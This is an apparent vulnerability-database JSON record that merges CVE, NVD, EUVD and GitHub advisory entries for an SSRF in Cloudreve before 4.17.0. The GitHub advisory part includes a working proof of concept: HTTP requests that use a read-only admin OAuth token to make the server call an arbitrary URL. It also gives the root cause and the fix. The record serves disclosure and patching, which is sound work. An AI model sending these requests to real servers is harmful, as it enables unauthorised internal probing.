{"id":"CVE-2026-101048","revision":null,"records":[{"revision":"e32aea167acc4a6faeced5406fd7c225","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-101048","aliases":[],"title":"Cloudreve before 4.17.0 SSRF via Admin.Read OAuth scope","description":"Cloudreve before 4.17.0 registers the administrative node test endpoints (POST /api/v4/admin/node/test and POST /api/v4/admin/node/test/downloader) without requiring the Admin.Write OAuth scope, unlike the node create/update/delete routes. An OAuth client that has been authorized by an administrator with only the Admin.Read scope can therefore submit attacker-controlled node definitions and cause the Cloudreve server to issue outbound requests to arbitrary URLs, enabling blind server-side request forgery, internal service probing, and delivery of signed Cloudreve slave-style requests to attacker-chosen endpoints.","state":0,"publishedAt":"2026-09-27T17:02:36.546+00:00","modifiedAt":"2026-10-08T15:22:07.489+00:00","affected":[{"ecosystem":"Vendor product","name":"cloudreve","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"cloudreve\",\n                    \"product\": \"cloudreve\",\n                    \"defaultStatus\": \"unaffected\",\n                    \"versions\": [\n                        {\n                            \"version\": \"0\",\n                            \"status\": \"affected\",\n                            \"versionType\": \"semver\",\n                            \"lessThan\": \"4.17.0\"\n                        },\n                        {\n                            \"version\": \"4.17.0\",\n                            \"status\": \"unaffected\",\n                            \"versionType\": \"semver\"\n                        }\n                    ],\n                    \"packageURL\": \"pkg:golang/github.com/cloudreve/Cloudreve/v4\"\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:L/SC:N/SI:N/SA:N","score":5.3,"severity":"MEDIUM"},{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L","score":5.4,"severity":"MEDIUM"}],"references":["https://github.com/cloudreve/cloudreve/security/advisories/GHSA-v6w6-358x-2433","https://www.vulncheck.com/advisories/cloudreve-before-4.17.0-ssrf-via-admin-read-oauth-scope"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-101048","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-101048","identifiers":["CVE-2026-101048"]},"retained":false,"historicalAffected":[]},{"revision":"a3891bfaa62d4e489d6e43c1ed7e845c","observedAt":"2026-11-09T04:15:46.497+00:00","statement":{"source":"euvd","id":"EUVD-2026-87979","aliases":["CVE-2026-101048","GHSA-pg9h-w4pm-q3vr"],"title":"Cloudreve before 4.17.0 registers the administrative node test endpoints (POST /api/v4/admin/node/test and POST /api/v4/admin/node/test/downloader) without requiring the Admin.Write OAuth scope, unlike the node create/update/delete routes. …","description":"Cloudreve before 4.17.0 registers the administrative node test endpoints (POST /api/v4/admin/node/test and POST /api/v4/admin/node/test/downloader) without requiring the Admin.Write OAuth scope, unlike the node create/update/delete routes. An OAuth client that has been authorized by an administrator with only the Admin.Read scope can therefore submit attacker-controlled node definitions and cause the Cloudreve server to issue outbound requests to arbitrary URLs, enabling blind server-side request forgery, internal service probing, and delivery of signed Cloudreve slave-style requests to attacker-chosen endpoints.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:L/SC:N/SI:N/SA:N","score":5.3,"severity":null}],"references":["https://github.com/cloudreve/cloudreve/security/advisories/GHSA-v6w6-358x-2433","https://www.vulncheck.com/advisories/cloudreve-before-4.17.0-ssrf-via-admin-read-oauth-scope"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-87979","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Sep 27, 2026, 5:02:36 PM","dateUpdated":"Oct 8, 2026, 3:22:07 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-87979","identifiers":["EUVD-2026-87979","CVE-2026-101048","GHSA-pg9h-w4pm-q3vr"]},"retained":false,"historicalAffected":[]},{"revision":"1a498c0d018b47aab333b4cdb5917031","observedAt":"2026-10-25T04:17:26.915+00:00","statement":{"source":"nvd","id":"CVE-2026-101048","aliases":[],"title":"Cloudreve before 4.17.0 registers the administrative node test endpoints (POST /api/v4/admin/node/test and POST /api/v4/admin/node/test/downloader) without requiring the Admin.Write OAuth scope, unlike the node create/update/delete routes. …","description":"Cloudreve before 4.17.0 registers the administrative node test endpoints (POST /api/v4/admin/node/test and POST /api/v4/admin/node/test/downloader) without requiring the Admin.Write OAuth scope, unlike the node create/update/delete routes. An OAuth client that has been authorized by an administrator with only the Admin.Read scope can therefore submit attacker-controlled node definitions and cause the Cloudreve server to issue outbound requests to arbitrary URLs, enabling blind server-side request forgery, internal service probing, and delivery of signed Cloudreve slave-style requests to attacker-chosen endpoints.","state":0,"publishedAt":"2026-09-27T18:16:31.313+00:00","modifiedAt":"2026-10-08T16:17:00.94+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · disclosure@vulncheck.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":5.3,"severity":"MEDIUM"},{"system":"CVSS 3.1 · disclosure@vulncheck.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L","score":5.4,"severity":"MEDIUM"}],"references":["https://github.com/cloudreve/cloudreve/security/advisories/GHSA-v6w6-358x-2433","https://www.vulncheck.com/advisories/cloudreve-before-4.17.0-ssrf-via-admin-read-oauth-scope"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101048","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-863"],"productCriteria":[],"sourceDates":{"published":"2026-09-27T18:16:31.313","lastModified":"2026-10-08T16:17:00.940"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-101048","identifiers":["CVE-2026-101048"]},"retained":false,"historicalAffected":[]},{"revision":"8051304991dc4ca593b337f675804ab7","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-v6w6-358x-2433","aliases":["CVE-2026-101048","GO-2026-6106"],"title":"Cloudreve Admin.Read OAuth tokens can trigger server-side node test requests","description":"## Summary\n\nCloudreve exposes two admin node test endpoints under the `Admin.Read` OAuth scope. These endpoints accept attacker-controlled node definitions and cause Cloudreve to make outbound server-side network requests. This allows an OAuth client authorized only for `Admin.Read` to trigger operational network actions that should require `Admin.Write`.\n\n## Impact\n\nAn attacker who obtains an admin-authorized OAuth token with `Admin.Read` but not `Admin.Write` can make the Cloudreve server connect to arbitrary URLs supplied in the request body. This can be used for blind SSRF, internal service probing, and triggering signed Cloudreve slave-style requests to attacker-chosen endpoints.\n\n## Affected version\n\nVerified in source and runtime on latest master commit `ba2e870bbd17f1918dd2321de861e453f696d6a3` and latest observed tag `4.16.1`.\n\n## Technical details\n\nThe authenticated admin route group requires only `Admin.Read`:\n\n```go\nauth := v4.Group(\"\")\nauth.Use(middleware.LoginRequired())\nauth.Use(middleware.RequiredScopes(types.ScopeAdminRead))\nadmin := auth.Group(\"admin\", middleware.IsAdmin())\n```\n\nThe following routes are registered without `ScopeAdminWrite`:\n\n```go\nnode.POST(\"test\",\n    controllers.FromJSON[adminsvc.TestNodeService](adminsvc.TestNodeParamCtx{}),\n    controllers.AdminTestSlave,\n)\nnode.POST(\"test/downloader\",\n    controllers.FromJSON[adminsvc.TestNodeDownloaderService](adminsvc.TestNodeDownloaderParamCtx{}),\n    controllers.AdminTestDownloader,\n)\n```\n\nBy contrast, node create, update, and delete routes do require `Admin.Write`:\n\n```go\nnode.PUT(\"\", middleware.RequiredScopes(types.ScopeAdminWrite), ...)\nnode.PUT(\":id\", middleware.RequiredScopes(types.ScopeAdminWrite), ...)\nnode.DELETE(\":id\", middleware.RequiredScopes(types.ScopeAdminWrite), ...)\n```\n\n`TestNodeService.Test()` parses the attacker-supplied node server and sends a request to it:\n\n```go\nslave, err := url.Parse(service.Node.Server)\n...\nres, err := r.Request(\n    \"POST\",\n    routes.SlavePingRoute(slave),\n    bytes.NewReader(bodyByte),\n    ...\n)\n```\n\n`TestNodeDownloaderService.Test()` constructs a downloader from attacker-supplied node settings and invokes its network test method.\n\n## Reproduction\n\nThe following was verified against a disposable Cloudreve instance built from the affected commit.\n\nPrerequisite: an admin user authorizes an OAuth client with `Admin.Read` but not `Admin.Write`.\n\n1. Obtain an OAuth access token whose scope is only:\n\n```text\nopenid Admin.Read\n```\n\nThe returned token response contains:\n\n```json\n{\n  \"token_type\": \"Bearer\",\n  \"scope\": \"openid Admin.Read\"\n}\n```\n\n2. Confirm the token cannot perform an `Admin.Write` node operation:\n\n```http\nPUT /api/v4/admin/node HTTP/1.1\nAuthorization: Bearer <admin-read-oauth-token>\nContent-Type: application/json\n\n{\n  \"node\": {\n    \"name\": \"deny-control\",\n    \"server\": \"http://127.0.0.1:18080\",\n    \"type\": \"slave\",\n    \"slave_key\": \"poc\"\n  }\n}\n```\n\nObserved response:\n\n```json\n{\n  \"code\": 40089,\n  \"msg\": \"Insufficient scope: Admin.Write\"\n}\n```\n\n3. Use the same `Admin.Read`-only OAuth token to call the node test endpoint with an attacker-controlled server URL:\n\n```http\nPOST /api/v4/admin/node/test HTTP/1.1\nAuthorization: Bearer <admin-read-oauth-token>\nContent-Type: application/json\n\n{\n  \"node\": {\n    \"id\": 124,\n    \"name\": \"ssrf-poc\",\n    \"server\": \"http://127.0.0.1:18080\",\n    \"type\": \"slave\",\n    \"slave_key\": \"attacker-controlled-key\"\n  }\n}\n```\n\nObserved Cloudreve response:\n\n```json\n{\n  \"code\": 0,\n  \"msg\": \"\"\n}\n```\n\n4. The canary server at `127.0.0.1:18080` received the backend request:\n\n```http\nPOST /api/v4/slave/ping HTTP/1.1\nHost: 127.0.0.1:18080\nUser-Agent: Cloudreve/4.14.0\nAuthorization: Bearer Cr <hmac-signature>:<timestamp>\nX-Cr-Node-Id: 124\nX-Cr-Site-Url: http://127.0.0.1:15212\nContent-Length: 37\n\n{\"callback\":\"http://127.0.0.1:15212\"}\n```\n\nThis proves the `Admin.Read`-only OAuth token is denied on a sibling `Admin.Write` route but can still trigger a server-side request to an attacker-selected node URL through the test route.\n\n## Root cause\n\nThe route group enforces `Admin.Read` by default and relies on per-route `Admin.Write` middleware for operations that mutate state or perform operational side effects. The node test endpoints were omitted from the `Admin.Write` set even though they execute server-side network actions using attacker-supplied configuration.\n\n## Remediation\n\n- Add `middleware.RequiredScopes(types.ScopeAdminWrite)` to both node test routes.\n- Consider applying SSRF validation or network egress controls to all admin-supplied test URLs.\n- Audit other admin test endpoints for read-scoped side effects.","state":0,"publishedAt":"2026-07-24T21:50:23+00:00","modifiedAt":"2026-09-28T03:55:28.3330688+00:00","affected":[{"ecosystem":"Go","name":"github.com/cloudreve/Cloudreve/v4","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"4.0.0-20260626022735-332a9d800205"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/cloudreve/Cloudreve/v3","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"last_affected","version":"3.0.0-20250225100611-da4e44b77af4"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/cloudreve/cloudreve/security/advisories/GHSA-v6w6-358x-2433","https://github.com/cloudreve/cloudreve/commit/332a9d800205082a2469e555fd66a63f18d9d5dc","https://github.com/cloudreve/cloudreve","https://github.com/cloudreve/cloudreve/releases/tag/4.17.0"],"sourceUrl":"https://github.com/advisories/GHSA-v6w6-358x-2433","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-v6w6-358x-2433","identifiers":["GHSA-v6w6-358x-2433","CVE-2026-101048","GO-2026-6106"]},"retained":false,"historicalAffected":[]},{"revision":"f46fb8d616714249901736b38b639879","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-6106","aliases":["CVE-2026-101048","GHSA-v6w6-358x-2433"],"title":"Cloudreve Admin.Read OAuth tokens can trigger server-side node test requests in github.com/cloudreve/Cloudreve","description":"Cloudreve Admin.Read OAuth tokens can trigger server-side node test requests in github.com/cloudreve/Cloudreve","state":0,"publishedAt":"2026-08-18T14:32:29+00:00","modifiedAt":"2026-09-28T03:55:28.3330688+00:00","affected":[{"ecosystem":"Go","name":"github.com/cloudreve/Cloudreve","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/cloudreve/Cloudreve/v3","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/cloudreve/Cloudreve/v4","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"4.0.0-20260626022735-332a9d800205"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/cloudreve/cloudreve/security/advisories/GHSA-v6w6-358x-2433","https://github.com/cloudreve/cloudreve/commit/332a9d800205082a2469e555fd66a63f18d9d5dc","https://github.com/cloudreve/cloudreve/releases/tag/4.17.0"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-6106","license":"OSV · upstream source license applies","key":"osv:GO-2026-6106","identifiers":["GO-2026-6106","CVE-2026-101048","GHSA-v6w6-358x-2433"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-10T18:23:45.7727801+00:00","complete":true,"records":1773,"lastAttemptAt":"2026-11-10T18:23:45.7727801+00:00","lastSuccessAt":"2026-11-10T18:23:45.9579119+00:00","error":null,"lastVerifiedAt":"2026-11-10T18:23:45.9579152+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-8859cf40d4337e24bd2f258cc7778fbad01bb24c79d057aaf34cf1dfc6f8917d-d220ab899e0e1c49e43094274f562c18c4a19b03898aec3feae1debdd31f6756","complete":true,"records":422212,"lastAttemptAt":"2026-11-10T18:21:27.6685178+00:00","lastSuccessAt":"2026-11-10T18:21:27.4920545+00:00","error":null,"lastVerifiedAt":"2026-11-10T18:21:27.6685178+00:00","snapshotPublishedAt":"2026-11-10T17:27:33+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-acbb624a79c244aa868394151a25f053","complete":true,"records":13704,"lastAttemptAt":"2026-11-10T18:24:12.0072206+00:00","lastSuccessAt":"2026-11-10T18:24:12.001+00:00","error":null,"lastVerifiedAt":"2026-11-10T18:24:12.001+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13758,"expectedIdentifiers":13758,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-10T18:23:45.7727801+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-10T18:23:45.7727801+00:00","lastSuccessAt":"2026-11-10T18:23:45.9591411+00:00","error":null,"lastVerifiedAt":"2026-11-10T18:23:45.9591459+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-4459456b8f8c43778c308d7de0a43211","complete":true,"records":13710,"lastAttemptAt":"2026-11-10T18:24:11.1447617+00:00","lastSuccessAt":"2026-11-10T18:24:11.141+00:00","error":null,"lastVerifiedAt":"2026-11-10T18:24:11.141+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13758,"expectedIdentifiers":13758,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-50a085e5b7a5d1546eabdb7e52fab85d658afa8554d3cf95a0891c49d83f2979","complete":true,"records":9935,"lastAttemptAt":"2026-11-10T18:23:45.7142755+00:00","lastSuccessAt":"2026-11-10T16:25:20.0114252+00:00","error":null,"lastVerifiedAt":"2026-11-10T18:23:45.7142755+00:00","snapshotPublishedAt":"2026-11-10T16:18:10+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-26503967ae4379db8f374089589d6e03fb15bd31f820c9e992aaf93840c2236c","complete":true,"records":1971,"lastAttemptAt":"2026-11-10T18:21:27.7170016+00:00","lastSuccessAt":"2026-11-09T21:02:20.472473+00:00","error":null,"lastVerifiedAt":"2026-11-10T18:21:27.7170016+00:00","snapshotPublishedAt":"2026-11-09T20:18:18+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-df497239f2f75af38e095cb498791dad4044a8a9a7f5f0ee6008bb732579ab9d","complete":true,"records":3081,"lastAttemptAt":"2026-11-10T18:23:45.7340645+00:00","lastSuccessAt":"2026-11-10T14:21:34.3717399+00:00","error":null,"lastVerifiedAt":"2026-11-10T18:23:45.7340645+00:00","snapshotPublishedAt":"2026-11-10T14:18:07+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-5bab1d7e68ac802e78d67f5b951f7bcace0c45048e98b39b73b18376172e4b36","complete":true,"records":231619,"lastAttemptAt":"2026-11-10T18:23:45.5819776+00:00","lastSuccessAt":"2026-11-10T18:23:44.1117746+00:00","error":null,"lastVerifiedAt":"2026-11-10T18:23:45.5819776+00:00","snapshotPublishedAt":"2026-11-10T17:33:21+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}